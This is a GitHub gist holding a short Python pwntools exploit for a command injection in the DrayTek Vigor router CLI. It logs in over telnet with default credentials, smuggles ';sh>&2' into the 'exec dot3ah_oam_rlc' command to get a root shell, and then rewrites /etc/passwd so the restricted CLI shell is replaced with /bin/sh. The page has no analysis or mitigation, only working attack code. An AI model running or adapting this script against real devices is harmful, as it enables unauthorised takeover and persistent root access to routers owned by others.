Skip to content

Instantly share code, notes, and snippets.

@q3k
Created October 8, 2024 11:47
Show Gist options
  • Save q3k/46f75dd78b653369640efaa2295f7ecd to your computer and use it in GitHub Desktop.
Save q3k/46f75dd78b653369640efaa2295f7ecd to your computer and use it in GitHub Desktop.
Draytek CLI injection (probably not CVE-2024-41585?)
import pwn
r = pwn.remote('192.168.1.1', 23)
r.recvuntil('Username: ')
r.sendline('admin')
r.recvuntil('Password: ')
r.sendline('admin')
r.recvuntil('vigor> ')
r.sendline('en')
r.recvuntil('Password: ')
r.sendline('drayteker')
r.recvuntil('vigor# ')
r.sendline('exec dot3ah_oam_rlc DSL disable;sh>&2')
r.recvuntil('# ')
r.sendline("sed -i 's,/usr/bin/draysh,/bin/sh,' /etc/passwd")
r.recvuntil('# ')
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment